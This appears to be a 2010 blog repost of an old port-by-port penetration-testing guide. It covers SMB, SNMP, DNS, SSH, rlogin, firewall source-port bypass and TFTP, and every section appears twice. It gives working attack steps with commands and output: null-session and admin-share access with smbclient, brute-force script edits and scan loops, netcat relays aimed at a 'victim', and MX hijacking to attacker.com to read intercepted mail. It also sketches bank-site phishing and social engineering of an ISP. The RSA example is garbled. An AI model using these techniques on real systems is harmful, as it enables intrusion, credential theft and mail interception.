R-services (rshell, rlogin) (513,514 TCP)
The R-services has used in the good old days of (campus) wide open Unix clusters of machines. It was used to hop from one server to the next with as little as possible effort - it's almost the same as telnet or SSH - it gives you a shell (or executing a command). Nowadays it is not very common to find Unix servers with rlogin or rshell ports open. Rshell is basically an extension of rlogin - Rshell will execute a command after logging in with the username and password specified. For the purposes of this document we can see rlogin and rsh as the same. These two services are protected by the ".rhosts" file(s). These files reside in a user directory and contain the IP numbers (or DNS names) and usernames on the remote machines that could assume control on the local machine.
But heck - I am not here to explain how rlogin and rsh works - the only thing that needs to be said here is that you could also try to get into a machine using it. It works much the same as telnet - all the same principles apply- try getting usernames etc. Sometimes rlogin is used in conjunction with other tricks - if you can get a "+ +" (allow anyone from anywhere) in the .rhost file you are made - see the X11 section.
Saturday, July 31, 2010
Wednesday, July 28, 2010
NetBIOS/SMB (139 TCP)
NetBIOS/SMB (139 TCP)
SMB(Server Message Block
SMB is used by Windows machines (and with SAMBA even Unix machines) to communicate. A lot can be done through an open NetBIOS port. The first thing is to try to find out what shares are advertised on the server. Some servers is not configured well and will revealing its shares without a username or password (using a NULL connection).
>smbclient -L 209.xxx.68.66 -n "justatest"
Password:
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 2.0.3]
Sharename Type Comment
--------- ---- -------
winshares Disk FreeBSD Samba Server
IPC$ IPC IPC Service (Samba 2.0.3)
Server Comment
--------- -------
FILES Samba 2.0.3
Workgroup Master
--------- -------
WORKGROUP FILES
(Note the -n switch - we don't want to call the server with our server name, just in case you are running SAMBA yourself) As you can see we find some lovely information on the server - the workgroup/domain name, the description and the Windows version (above server was a SAMBA server actually). Nice...Of course with a known password, or a blank password things are much more fun- you can list all the shares or you might want to access a drive:
> smbclient \\\\208.xxx.198.71\\c$ -U administrator -n "justatest"
Password:
Domain=[xxx] OS=[Windows NT 4.0] Server=[NT LAN Manager 4.0]
smb: \> ls
WINNT D 0 Fri Oct 8 23:24:02 1999
NTDETECT.COM AHSR 26816 Fri Aug 11 01:22:24 2000
ntldr AHSR 156496 Fri Aug 11 01:22:24 2000
boot.ini ASR 288 Sat Oct 9 00:30:56 1999
ffastun.ffo AH 208896 Fri Dec 29 00:35:34 2000
Program Files D 0 Fri Oct 8 23:28:10 1999
CONFIG.SYS A 0 Fri Oct 8 23:31:46 1999
AUTOEXEC.BAT A 0 Fri Oct 8 23:31:46 1999
IO.SYS AHSR 0 Fri Oct 8 23:31:46 1999
MSDOS.SYS AHSR 0 Fri Oct 8 23:31:46 1999
TEMP D 0 Fri Oct 8 23:31:50 1999
You are now dropped into the smbclient "shell". From here you could do file transfers and the likes (see Chapter 6 - what now). You should really be able to figure out how "smbclient" works on your own...
You might also want to try to collect information with the "nmblookup" command - it helps sometimes to find the administrator username (if it was changed):
# nmblookup -A 160.124.19.99
Looking up status of 160.124.19.99
received 10 names
HUTSI <00> - B
SENSEPOST <00> - B
HUTSI <20> - B
HUTSI <03> - B
SENSEPOST <1e> - B
SENSEPOST <1d> - B
INet~Services <1c> - B
..__MSBROWSE__. <01> - B
IS~HUTSI <00> - B
BAAS <03> - B
Look at the entries marked <03>. Note "BAAS". "Baas" is the renamed administrator username. So, forget trying using "administrator" as a username.
You also want to have a look at VLAD (yet again). The pwscan.pl script does a good job of brute forcing NetBIOS (run it with switches -v and -B). The pwscan.pl script actually uses the "smbclient" command and inspects the output to find a valid username & password combination. If you want to brute a specific share, you will need to modify these lines (starting at line 610 in version 1.17):
$cmd = "smbclient";
$service = "//".$target."/ipc\$";
@args = ($service, "'".$pass."'",
"-U", $user);
$s = Expect->spawn($cmd, @args);
to read something like
$cmd = "smbclient";
$service = "//".$target."/sharename";
@args = ($service, "'".$pass."'",
"-U", $user);
$s = Expect->spawn($cmd, @args);
An excellent paper on NetBIOS and the CIFS protocol by Hobbit can be found at http://packetstorm.securify.com/docs/infosec/cifs.txt. You really should try to read it.
Added: you should really look at a tool called CIS by David Litchfield (nowadays with @stake) It does a lot of cool stuff – and it does wonders for SMB.
SMB(Server Message Block
SMB is used by Windows machines (and with SAMBA even Unix machines) to communicate. A lot can be done through an open NetBIOS port. The first thing is to try to find out what shares are advertised on the server. Some servers is not configured well and will revealing its shares without a username or password (using a NULL connection).
>smbclient -L 209.xxx.68.66 -n "justatest"
Password:
Domain=[WORKGROUP] OS=[Unix] Server=[Samba 2.0.3]
Sharename Type Comment
--------- ---- -------
winshares Disk FreeBSD Samba Server
IPC$ IPC IPC Service (Samba 2.0.3)
Server Comment
--------- -------
FILES Samba 2.0.3
Workgroup Master
--------- -------
WORKGROUP FILES
(Note the -n switch - we don't want to call the server with our server name, just in case you are running SAMBA yourself) As you can see we find some lovely information on the server - the workgroup/domain name, the description and the Windows version (above server was a SAMBA server actually). Nice...Of course with a known password, or a blank password things are much more fun- you can list all the shares or you might want to access a drive:
> smbclient \\\\208.xxx.198.71\\c$ -U administrator -n "justatest"
Password:
Domain=[xxx] OS=[Windows NT 4.0] Server=[NT LAN Manager 4.0]
smb: \> ls
WINNT D 0 Fri Oct 8 23:24:02 1999
NTDETECT.COM AHSR 26816 Fri Aug 11 01:22:24 2000
ntldr AHSR 156496 Fri Aug 11 01:22:24 2000
boot.ini ASR 288 Sat Oct 9 00:30:56 1999
ffastun.ffo AH 208896 Fri Dec 29 00:35:34 2000
Program Files D 0 Fri Oct 8 23:28:10 1999
CONFIG.SYS A 0 Fri Oct 8 23:31:46 1999
AUTOEXEC.BAT A 0 Fri Oct 8 23:31:46 1999
IO.SYS AHSR 0 Fri Oct 8 23:31:46 1999
MSDOS.SYS AHSR 0 Fri Oct 8 23:31:46 1999
TEMP D 0 Fri Oct 8 23:31:50 1999
You are now dropped into the smbclient "shell". From here you could do file transfers and the likes (see Chapter 6 - what now). You should really be able to figure out how "smbclient" works on your own...
You might also want to try to collect information with the "nmblookup" command - it helps sometimes to find the administrator username (if it was changed):
# nmblookup -A 160.124.19.99
Looking up status of 160.124.19.99
received 10 names
HUTSI <00> - B
SENSEPOST <00> -
HUTSI <20> - B
HUTSI <03> - B
SENSEPOST <1e> -
SENSEPOST <1d> - B
INet~Services <1c> -
..__MSBROWSE__. <01> -
IS~HUTSI <00> - B
BAAS <03> - B
Look at the entries marked <03>. Note "BAAS". "Baas" is the renamed administrator username. So, forget trying using "administrator" as a username.
You also want to have a look at VLAD (yet again). The pwscan.pl script does a good job of brute forcing NetBIOS (run it with switches -v and -B). The pwscan.pl script actually uses the "smbclient" command and inspects the output to find a valid username & password combination. If you want to brute a specific share, you will need to modify these lines (starting at line 610 in version 1.17):
$cmd = "smbclient";
$service = "//".$target."/ipc\$";
@args = ($service, "'".$pass."'",
"-U", $user);
$s = Expect->spawn($cmd, @args);
to read something like
$cmd = "smbclient";
$service = "//".$target."/sharename";
@args = ($service, "'".$pass."'",
"-U", $user);
$s = Expect->spawn($cmd, @args);
An excellent paper on NetBIOS and the CIFS protocol by Hobbit can be found at http://packetstorm.securify.com/docs/infosec/cifs.txt. You really should try to read it.
Added: you should really look at a tool called CIS by David Litchfield (nowadays with @stake) It does a lot of cool stuff – and it does wonders for SMB.
Tuesday, July 27, 2010
SSH (22 TCP)
SSH (22 TCP)
There are a lot of people of there than think their SSL - enabled website is not vulnerable to the common exploits found. They think - we have security on our site - it's safe. This is a very twisted view. The same is true for SSH. The default SSH installation of SSH (using a username and password to authenticate) only provides you with an encrypted control session. Anyone out there can still brute force it - a weak password (see telnet) is just as a problem with SSH as with telnet. The advantage of using SSH is that your control session is encrypted - this means that it would be very difficult for someone to see what you are doing. The other nice thing about using SSH and not telnet is that a SSH session cannot be hijacked. There are some theories of a SSH insertion attack, but I have not seen this work in the real world.
SSH can also be used for tunneling other data over the SSH channel. This is very sweet and there's many interesting tricks - running PPP over SSH, running Z-modem transfers over SSH etc. But we are here for breaking not building eh?
There are a lot of people of there than think their SSL - enabled website is not vulnerable to the common exploits found. They think - we have security on our site - it's safe. This is a very twisted view. The same is true for SSH. The default SSH installation of SSH (using a username and password to authenticate) only provides you with an encrypted control session. Anyone out there can still brute force it - a weak password (see telnet) is just as a problem with SSH as with telnet. The advantage of using SSH is that your control session is encrypted - this means that it would be very difficult for someone to see what you are doing. The other nice thing about using SSH and not telnet is that a SSH session cannot be hijacked. There are some theories of a SSH insertion attack, but I have not seen this work in the real world.
SSH can also be used for tunneling other data over the SSH channel. This is very sweet and there's many interesting tricks - running PPP over SSH, running Z-modem transfers over SSH etc. But we are here for breaking not building eh?
Monday, July 26, 2010
Public-Key Crypto-System
Rivest, Shamir, Adleman (RSA)
Public-Key Crypto-System
● Based on the fact that finding large (e.g. 100
digit) prime numbers is easy, but factoring
the product of two such numbers appears
computationally infeasible
● Choose very large prime numbers P and Q
– N = P x Q
– N is public; P, Q are secret
● Euler totient: Phi(N) = (P-1)(Q-1) = Number
of integers less than N & relatively prime to N
● Next, choose E in [2, Phi(N)-1], E is public
● A message is represented as a sequence
M1, M2, M3..., where each M in [0, N-1]
● Encryption: C = ME mod N
● Using the secret Phi(N), A can compute D
such that ED = 1 mod Phi(N)
● ED = k x Phi(N) + 1
● Then, for any X < N, Xk x Phi(N)+1 = X mod N
● Decryption: CD = MED = Mk x Phi(N)+1 = M mod N
● Example: Choose P = 17, Q = 31
– N = 527, Phi(N) = 480
– Choose E = 7, then D = 343
– If M = 2, Encryption: C = 128
– Decryption: D = CD mod N = 128343 mod 527 = 2
Public-Key Crypto-System
● Based on the fact that finding large (e.g. 100
digit) prime numbers is easy, but factoring
the product of two such numbers appears
computationally infeasible
● Choose very large prime numbers P and Q
– N = P x Q
– N is public; P, Q are secret
● Euler totient: Phi(N) = (P-1)(Q-1) = Number
of integers less than N & relatively prime to N
● Next, choose E in [2, Phi(N)-1], E is public
● A message is represented as a sequence
M1, M2, M3..., where each M in [0, N-1]
● Encryption: C = ME mod N
● Using the secret Phi(N), A can compute D
such that ED = 1 mod Phi(N)
● ED = k x Phi(N) + 1
● Then, for any X < N, Xk x Phi(N)+1 = X mod N
● Decryption: CD = MED = Mk x Phi(N)+1 = M mod N
● Example: Choose P = 17, Q = 31
– N = 527, Phi(N) = 480
– Choose E = 7, then D = 343
– If M = 2, Encryption: C = 128
– Decryption: D = CD mod N = 128343 mod 527 = 2
Sunday, July 25, 2010
Network level attack - Source port 20,53
Network level attack - Source port 20,53
Some of the ancient firewalls and lousy implemented screening routers have a problem with dealing with FTP reverse connections. For those that does not know how it works - a normal (active) FTP session works like this. The FTP client makes a connection from a random port to port 21 on the FTP daemon. This is the control connection. As soon as you type "ls" or "get" or "put" a secondary connection (the data connection) is needed. This connection is made from the FTP server with a source port of 20 to a port on the client. The client using the FTP native PORT command specifies the destination port of the reverse connection. As such the client's firewall needs to allow connection from source port 20 to (high) destination ports in order for the reverse data connection to be made. With stateful inspection firewalls the firewall will monitor (sniff) the initial outgoing (control connection) packets. When it sees the PORT command, it will automatically open the packet filters to allow the reverse connection to the client on the port that it specified (this is the source of much mischief - spoofing such PORT commands could be used to fool the firewall to open up a port on an IP number that it is not suppose to). Firewalls that do not make use of stateful inspection have a problem with these reverse connections. If we can change our source port to 20 we could bypass the filters and connect to an IP on a high port. How? Using netcat:
> nc -n -p 20 -v 196.38.xxx.251 1024
(UNKNOWN) [196.38.xxx.251] 1023 (?) : Operation timed out
> nc -n -p 20 -v 196.38.xxx.251 1025
(UNKNOWN) [196.38.xxx.251] 1025 (?) : Connection refused
As can be seen from this example - when we connect to a port <= 1024 we hit the packet filter. Trying ports > 1024 we are bypassing the filter (although there is nothing running on port 1025. What is the use then - nothing runs on ports > 1024. Wrong. MS-SQL runs on 1443, IRC on 6667, some Cisco configurations on 2001,3001, Squid on 3128, and a lot of proxies on 1080,8080 etc. So let us assume that we want to access an MS-SQL box sitting behind a crappy firewall that allows connection with source port 20. How do we put it all together? Netcat again:
> cat > go.sh:
#!/bin/sh
/usr/local/bin/nc -p 20 -n victim 1433
^D
> nc -l -p 1433 -e go.sh
Hit your own machine with Microsoft SQL Enterprise Manager.
This is just about straight from the nehttp://sibichakkaravarthy.blogspot.com/tcat documentation - so be sure to read it as well. go.sh is execute when the SQL manager hit port 1433; it makes a connection to the victim using source port 20.
For applications that use multiple connections (such as HTTP) you will need to have nc in a loop - so that it fires off a new instance of go.sh for every new connection. As this is explained in the netcat docs I will not repeat it here.
In exactly the same way you could experiment with source port 53 - (DNS zone transfers). Also keep in mind that we are only taking about TCP here - think about DNS...source port 53 to high ports using UDP, and NFS running on port 2049...get creative!
Some of the ancient firewalls and lousy implemented screening routers have a problem with dealing with FTP reverse connections. For those that does not know how it works - a normal (active) FTP session works like this. The FTP client makes a connection from a random port to port 21 on the FTP daemon. This is the control connection. As soon as you type "ls" or "get" or "put" a secondary connection (the data connection) is needed. This connection is made from the FTP server with a source port of 20 to a port on the client. The client using the FTP native PORT command specifies the destination port of the reverse connection. As such the client's firewall needs to allow connection from source port 20 to (high) destination ports in order for the reverse data connection to be made. With stateful inspection firewalls the firewall will monitor (sniff) the initial outgoing (control connection) packets. When it sees the PORT command, it will automatically open the packet filters to allow the reverse connection to the client on the port that it specified (this is the source of much mischief - spoofing such PORT commands could be used to fool the firewall to open up a port on an IP number that it is not suppose to). Firewalls that do not make use of stateful inspection have a problem with these reverse connections. If we can change our source port to 20 we could bypass the filters and connect to an IP on a high port. How? Using netcat:
> nc -n -p 20 -v 196.38.xxx.251 1024
(UNKNOWN) [196.38.xxx.251] 1023 (?) : Operation timed out
> nc -n -p 20 -v 196.38.xxx.251 1025
(UNKNOWN) [196.38.xxx.251] 1025 (?) : Connection refused
As can be seen from this example - when we connect to a port <= 1024 we hit the packet filter. Trying ports > 1024 we are bypassing the filter (although there is nothing running on port 1025. What is the use then - nothing runs on ports > 1024. Wrong. MS-SQL runs on 1443, IRC on 6667, some Cisco configurations on 2001,3001, Squid on 3128, and a lot of proxies on 1080,8080 etc. So let us assume that we want to access an MS-SQL box sitting behind a crappy firewall that allows connection with source port 20. How do we put it all together? Netcat again:
> cat > go.sh:
#!/bin/sh
/usr/local/bin/nc -p 20 -n victim 1433
^D
> nc -l -p 1433 -e go.sh
Hit your own machine with Microsoft SQL Enterprise Manager.
This is just about straight from the nehttp://sibichakkaravarthy.blogspot.com/tcat documentation - so be sure to read it as well. go.sh is execute when the SQL manager hit port 1433; it makes a connection to the victim using source port 20.
For applications that use multiple connections (such as HTTP) you will need to have nc in a loop - so that it fires off a new instance of go.sh for every new connection. As this is explained in the netcat docs I will not repeat it here.
In exactly the same way you could experiment with source port 53 - (DNS zone transfers). Also keep in mind that we are only taking about TCP here - think about DNS...source port 53 to high ports using UDP, and NFS running on port 2049...get creative!
Tuesday, July 20, 2010
SNMP (161 UDP)
SNMP (161 UDP)
SNMP - Simple Network Management Protocol
SNMP is short for Simple Network Management Protocol and it does just that - it is used to monitor and manage hosts and routers. The majority of users of SNMP use it to monitor routers - to show bandwidth utilization and to send messages to the SNMP monitoring station when a link goes down. The most common SNMP monitoring software is HP Openview. Attackers use SNMP for discovering networks and possibly to change or disrupt networking. SNMP on host (especially NT workstations) are fun - it reveals a lot of interesting information.
SNMP uses a community name for access control - if you don't have the right community name you cannot get information from the host or router. The easiest way of checking a valid community name is using the snmpwalk command (it is bundled with the ucd-snmp package):
> snmpwalk 196.35.xxx.79 xmax
system.sysDescr.0 = Cisco Internetwork Operating System Software
IOS (tm) 3000 Software (CPA25-CG-L), Version 11.0(6), RELEASE SOFTWARE (fc1)
Copyright (c) 1986-1996 by cisco Systems, Inc.
Compiled Thu 21-Mar-96 00:29 by hochan
system.sysObjectID.0 = OID: enterprises.9.1.57
---blah blah---
One can see in the above example that a valid community name is "xmax". There are actually two sorts of community string - a "read" string and a "write" string. With the write string you would be able to change information on the host or the router - such as routing tables, IP addresses assigned to interfaces etc. - with a "read" string you can only get the information. SNMP uses UDP so make sure you allow UDP to enter your network. Just like usernames and passwords, community names can also be brute forced. Again we make use of VLAD's pwscan.pl PERL script. Populate the "community.db" file and let rip:
perl pwscan.pl -v -M 196.35.xxx.79
Did I mention that you could use pwscan.pl to scan more than one IP number, using simple scripting?
> cat > toscanips.txt
196.34.121.1
196.7.18.120
160.124.19.98
^D
> cat > goscan
#!/bin/tcsh
foreach a (`cat toscanips.txt`)
echo working on $a ...
perl pwscan.pl -v -M $a
continue
end
^D
> chmod u+x goscan
> ./goscan
working on 196.34.121.1 ...
--blah blah--
Real easy eh? A Windows program that will provide an excellent "viewer" for SNMP information is Solarwind's IP browser (get it at http://www.solarwinds.net/) - it will try to perform a SNMP walk of all pingable machines in a network. It is not a freeware application, but it's really good. Another nice feature is that you can supply your own community strings, and can edit the information if the string allows you to update information - e.g. a "write" string.
SNMP - Simple Network Management Protocol
SNMP is short for Simple Network Management Protocol and it does just that - it is used to monitor and manage hosts and routers. The majority of users of SNMP use it to monitor routers - to show bandwidth utilization and to send messages to the SNMP monitoring station when a link goes down. The most common SNMP monitoring software is HP Openview. Attackers use SNMP for discovering networks and possibly to change or disrupt networking. SNMP on host (especially NT workstations) are fun - it reveals a lot of interesting information.
SNMP uses a community name for access control - if you don't have the right community name you cannot get information from the host or router. The easiest way of checking a valid community name is using the snmpwalk command (it is bundled with the ucd-snmp package):
> snmpwalk 196.35.xxx.79 xmax
system.sysDescr.0 = Cisco Internetwork Operating System Software
IOS (tm) 3000 Software (CPA25-CG-L), Version 11.0(6), RELEASE SOFTWARE (fc1)
Copyright (c) 1986-1996 by cisco Systems, Inc.
Compiled Thu 21-Mar-96 00:29 by hochan
system.sysObjectID.0 = OID: enterprises.9.1.57
---blah blah---
One can see in the above example that a valid community name is "xmax". There are actually two sorts of community string - a "read" string and a "write" string. With the write string you would be able to change information on the host or the router - such as routing tables, IP addresses assigned to interfaces etc. - with a "read" string you can only get the information. SNMP uses UDP so make sure you allow UDP to enter your network. Just like usernames and passwords, community names can also be brute forced. Again we make use of VLAD's pwscan.pl PERL script. Populate the "community.db" file and let rip:
perl pwscan.pl -v -M 196.35.xxx.79
Did I mention that you could use pwscan.pl to scan more than one IP number, using simple scripting?
> cat > toscanips.txt
196.34.121.1
196.7.18.120
160.124.19.98
^D
> cat > goscan
#!/bin/tcsh
foreach a (`cat toscanips.txt`)
echo working on $a ...
perl pwscan.pl -v -M $a
continue
end
^D
> chmod u+x goscan
> ./goscan
working on 196.34.121.1 ...
--blah blah--
Real easy eh? A Windows program that will provide an excellent "viewer" for SNMP information is Solarwind's IP browser (get it at http://www.solarwinds.net/) - it will try to perform a SNMP walk of all pingable machines in a network. It is not a freeware application, but it's really good. Another nice feature is that you can supply your own community strings, and can edit the information if the string allows you to update information - e.g. a "write" string.
Thursday, July 15, 2010
DNS (53 TCP,UDP)
DNS (53 TCP,UDP)
DNS must be one of the most underrated services in terms of hacking. DNS is most powerful. Let us look what can be done by only manipulating DNS. Let's assume that I have full control of a domain's primary DNS server. For this example we'll assume that the domain name is sensepost.com. Sensepost.com's has two MX records; one marked as pri 10 - wips.sensepost.com and the other pri 20 - winston.mtx.co.za. Let say for now that I insert another MX records at pri 5 - and point it to attacker.com. What would be the effect of this? All mail to sensepost.com would first travel to port 25 at attacker.com. At attacker.com it can be read at leisure and then redirected to the MX 10 (wips.sensepost.com), and we won't know of any better. Sure, if one look at the mail header it will show that the email is relayed through attacker.com, but how many people check their mail header on a regular basis? How do we do the actual redirect? A slightly modified version of "bounce" (a popular TCP redirector program that is available for just about any platform) comes in very handy. The program binds to a port and redirects any traffic from one IP to a port on another IP. I have modified bounce in order to see the actual traffic - line 75 is inserted and reads:
fprintf(stdout,"%s\n",stail);
and inserted line 83 reads:
fprintf(stdout,"%s\n",ctail);
so that all "server" and "client" data is written to the /var/log/messages file (it is up to the reader to write nice parsing code to populate individual mailboxes according the "RCPT TO:" field). The program is called with the following parameters:
bounce_rt -a 160.124.19.98 -p 25 196.xxx.115.250 25
In above case my IP is 160.124.19.98 (the attacker.com) and 196.xxx.115.250 is the victim. SMTP traffic is seamlessly translated from me to the victim - the only trace that the mail was intercepted is the mail header.
Things get more interesting where commerce sites are involved. Let us assume that my victim has an Internet banking site. I completely mirror the site, and point the DNS entry for the banking site to my IP number (where the mirror is running). The site is a mirror save for the backend system - the mirror replies with some kind of error, and the link to "please try again" is pointing to the actual IP number of the real site. Sure - what about SSL and server certificates you might say. And what about it? Do you REALLY think that people notice when a connection is not SSL-secured? Maybe 10% would - the rest would gladly enter their banking details on an open link. My "fake" site would farm a whole lot of interesting data before anyone would know the difference.
Another application for DNS hijacking would be abusing of trust relationships. Any service that makes use of DNS names for authentication can be tricked into allowing access to an attacker (provided that one also controls the reverse DNS entries). Here I am thinking of any TCP wrapped service, R-services and possibly even SSH.
How does one gain control over a primary DNS server? Maybe this is easier than you would expect. Why would we want to take over the DNS server if we
can simply BE the primary DNS server? Remember when you registered your domain? You needed to provide a primary and secondary DNS server (now-a-days places like Register.com does that for you - but you still have the option to change it). And there is some mechanism for you to change that - right? (at Register.com is a username and a password) So - it would be possible for me to change it - by basically convincing the system (be that human or electronic) that I am you. And all of sudden a large portion of your IT infrastructure and security hinges on a single username and password.
Another attack (that has been successfully carried out in the field many times) is simple social engineering. Most corporates host their DNS service at an ISP. Why bother to set up a primary DNS server and change DNS entries on root servers if I can convince your ISP to make changes to your local DNS? How does your ISP identify you? A telephone call? A fax? E-mail? All of which can be spoofed. Even scarier. All of a sudden things move away from high technology and hyper secure servers and we are down to more "meat" things - and technology that was never intended to be used as security devices.
Attacking the DNS service itself by using exploits is also an option. Certain versions of the popular DNS service BIND for Unix have known exploits, and can be tricked into giving you a root account on the host. How to find vulnerable DNS servers? There is the quick way, and the proper way for bulk scanning. The quick way is to issue the command:
dig @ns.wasp.co.za version.bind chaos txt
would result in the output:
; <<>> DiG 8.3 <<>> @ns.wasp.co.za version.bind chaos txt
; (1 server found)
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUERY SECTION: ;; version.bind, type = TXT, class = CHAOS ;; ANSWER SECTION: VERSION.BIND. 0S CHAOS TXT "8.2.2-P5" ;; Total query time: 592 msec ;; FROM: wips.sensepost.com to SERVER: ns.wasp.co.za 196.31.211.1 ;; WHEN: Tue Sep 19 16:27:43 2000 ;; MSG SIZE sent: 30 rcvd: 63
note the part that says [VERSION.BIND. 0S CHAOS TXT "8.2.2-P5"]. This tells us that ns.wasp.co.za is using BIND version 8.2.2-p5 - a safe version (at the time of writing :)) This method is a bit messy, but works fine if you quickly want to check some version. A better way is to use VLAD. The script in question is "dnsver.pl", a script that check the BIND version, and report if it is vulnerable or not:
> perl dnsver.pl -v ns.wasp.co.za
RAZOR BIND Scanner v1.0.1
By Robert Keyes (c) BindView Corporation
http://razor.bindview.com/tools/vlad/
Requires Net::DNS module from
http://cpan.valueclick.com/authors/id/M/MF/MFUHR/Net-DNS-0.12.tar.gz
Checking ns.wasp.co.za
Server Response: NOERROR
DNS Server Version: BIND 8.2.2-P5
The script only finds the BIND version, and as such is non-intrusive. Using
this script with multiple IP numbers are very simple. Put the IP you wish to
check for in a file (assuming the file is called /tmp/ips) Execute the
following script, piping its output to your results file:
#!/usr/local/bin/tcsh
foreach a (`cat /tmp/ips`)
perl dnsver.pl -v $a
continue
end
By this time you should really be familiar with this type of script.
DNS must be one of the most underrated services in terms of hacking. DNS is most powerful. Let us look what can be done by only manipulating DNS. Let's assume that I have full control of a domain's primary DNS server. For this example we'll assume that the domain name is sensepost.com. Sensepost.com's has two MX records; one marked as pri 10 - wips.sensepost.com and the other pri 20 - winston.mtx.co.za. Let say for now that I insert another MX records at pri 5 - and point it to attacker.com. What would be the effect of this? All mail to sensepost.com would first travel to port 25 at attacker.com. At attacker.com it can be read at leisure and then redirected to the MX 10 (wips.sensepost.com), and we won't know of any better. Sure, if one look at the mail header it will show that the email is relayed through attacker.com, but how many people check their mail header on a regular basis? How do we do the actual redirect? A slightly modified version of "bounce" (a popular TCP redirector program that is available for just about any platform) comes in very handy. The program binds to a port and redirects any traffic from one IP to a port on another IP. I have modified bounce in order to see the actual traffic - line 75 is inserted and reads:
fprintf(stdout,"%s\n",stail);
and inserted line 83 reads:
fprintf(stdout,"%s\n",ctail);
so that all "server" and "client" data is written to the /var/log/messages file (it is up to the reader to write nice parsing code to populate individual mailboxes according the "RCPT TO:" field). The program is called with the following parameters:
bounce_rt -a 160.124.19.98 -p 25 196.xxx.115.250 25
In above case my IP is 160.124.19.98 (the attacker.com) and 196.xxx.115.250 is the victim. SMTP traffic is seamlessly translated from me to the victim - the only trace that the mail was intercepted is the mail header.
Things get more interesting where commerce sites are involved. Let us assume that my victim has an Internet banking site. I completely mirror the site, and point the DNS entry for the banking site to my IP number (where the mirror is running). The site is a mirror save for the backend system - the mirror replies with some kind of error, and the link to "please try again" is pointing to the actual IP number of the real site. Sure - what about SSL and server certificates you might say. And what about it? Do you REALLY think that people notice when a connection is not SSL-secured? Maybe 10% would - the rest would gladly enter their banking details on an open link. My "fake" site would farm a whole lot of interesting data before anyone would know the difference.
Another application for DNS hijacking would be abusing of trust relationships. Any service that makes use of DNS names for authentication can be tricked into allowing access to an attacker (provided that one also controls the reverse DNS entries). Here I am thinking of any TCP wrapped service, R-services and possibly even SSH.
How does one gain control over a primary DNS server? Maybe this is easier than you would expect. Why would we want to take over the DNS server if we
can simply BE the primary DNS server? Remember when you registered your domain? You needed to provide a primary and secondary DNS server (now-a-days places like Register.com does that for you - but you still have the option to change it). And there is some mechanism for you to change that - right? (at Register.com is a username and a password) So - it would be possible for me to change it - by basically convincing the system (be that human or electronic) that I am you. And all of sudden a large portion of your IT infrastructure and security hinges on a single username and password.
Another attack (that has been successfully carried out in the field many times) is simple social engineering. Most corporates host their DNS service at an ISP. Why bother to set up a primary DNS server and change DNS entries on root servers if I can convince your ISP to make changes to your local DNS? How does your ISP identify you? A telephone call? A fax? E-mail? All of which can be spoofed. Even scarier. All of a sudden things move away from high technology and hyper secure servers and we are down to more "meat" things - and technology that was never intended to be used as security devices.
Attacking the DNS service itself by using exploits is also an option. Certain versions of the popular DNS service BIND for Unix have known exploits, and can be tricked into giving you a root account on the host. How to find vulnerable DNS servers? There is the quick way, and the proper way for bulk scanning. The quick way is to issue the command:
dig @ns.wasp.co.za version.bind chaos txt
would result in the output:
; <<>> DiG 8.3 <<>> @ns.wasp.co.za version.bind chaos txt
; (1 server found)
;; res options: init recurs defnam dnsrch
;; got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 6 ;; flags: qr aa rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0 ;; QUERY SECTION: ;; version.bind, type = TXT, class = CHAOS ;; ANSWER SECTION: VERSION.BIND. 0S CHAOS TXT "8.2.2-P5" ;; Total query time: 592 msec ;; FROM: wips.sensepost.com to SERVER: ns.wasp.co.za 196.31.211.1 ;; WHEN: Tue Sep 19 16:27:43 2000 ;; MSG SIZE sent: 30 rcvd: 63
note the part that says [VERSION.BIND. 0S CHAOS TXT "8.2.2-P5"]. This tells us that ns.wasp.co.za is using BIND version 8.2.2-p5 - a safe version (at the time of writing :)) This method is a bit messy, but works fine if you quickly want to check some version. A better way is to use VLAD. The script in question is "dnsver.pl", a script that check the BIND version, and report if it is vulnerable or not:
> perl dnsver.pl -v ns.wasp.co.za
RAZOR BIND Scanner v1.0.1
By Robert Keyes (c) BindView Corporation
http://razor.bindview.com/tools/vlad/
Requires Net::DNS module from
http://cpan.valueclick.com/authors/id/M/MF/MFUHR/Net-DNS-0.12.tar.gz
Checking ns.wasp.co.za
Server Response: NOERROR
DNS Server Version: BIND 8.2.2-P5
The script only finds the BIND version, and as such is non-intrusive. Using
this script with multiple IP numbers are very simple. Put the IP you wish to
check for in a file (assuming the file is called /tmp/ips) Execute the
following script, piping its output to your results file:
#!/usr/local/bin/tcsh
foreach a (`cat /tmp/ips`)
perl dnsver.pl -v $a
continue
end
By this time you should really be familiar with this type of script.
Wednesday, July 7, 2010
TFTP (69 UDP)
TFTP (69 UDP)
TFTP FEATURE:
* Platform: Windows 2000/XP/2003/Vista/2008/7. TFTP Server is running as background task.
* Implemented as a system Windows service
* Fully compatible with RFC1350, RFC2347, RFC2348 and RFC2349
* Runs as a background "around-the-clock" task
* Ensures flexible access rights setup according to client's IP-address
* Support firewalls: the sever allows indicating the range of UDP-ports, used for transmitting the data. This allows network administrators to regulate firewall rules, approving the traffic, generated by the server.
* Full TFTP option support. The server fully supports the options 'tsize', 'blocksize' and 'timeout', which enables the administrators to reach the maximum performance, when transferring the data.
* An option of setting a highest precedence for the sever process. This option is used in systems with a large number of TFTP-clients and helps to assist them with the maximum speed.
* Contains graphic utilities for server setup and server status control
* High-performance multithreaded architecture
Protocol suite : TCP/IP.
Protocol type : Connectionless transport layer protocol.
IP Protocol : 17.
The User Datagram Protocol offers only a minimal transport service -- non-guaranteed datagram delivery -- and gives applications direct access to the datagram service of the IP layer. UDP is used by applications that do not require the level of service of TCP or that wish to use communications services (e.g., multicast or broadcast delivery) not available from TCP.
UDP is almost a null protocol; the only services it provides over IP are checksumming of data and multiplexing by port number. Therefore, an application program running over UDP must deal directly with end-to-end communication problems that a connection-oriented protocol would have handled -- e.g., retransmission for reliable delivery, packetization and reassembly, flow control, congestion avoidance, etc., when these are required. The fairly complex coupling between IP and TCP will be mirrored in the coupling between UDP and many applications using UDP.
TFTP is your friend. TFTP does not require any authentication - it is usually used for network equipment to get their configurations at boot time. A router can be set up to TFTP to a Unix/Windows box and get its config from this box. TFTP makes use of the UDP protocol - and is as such connectionless.
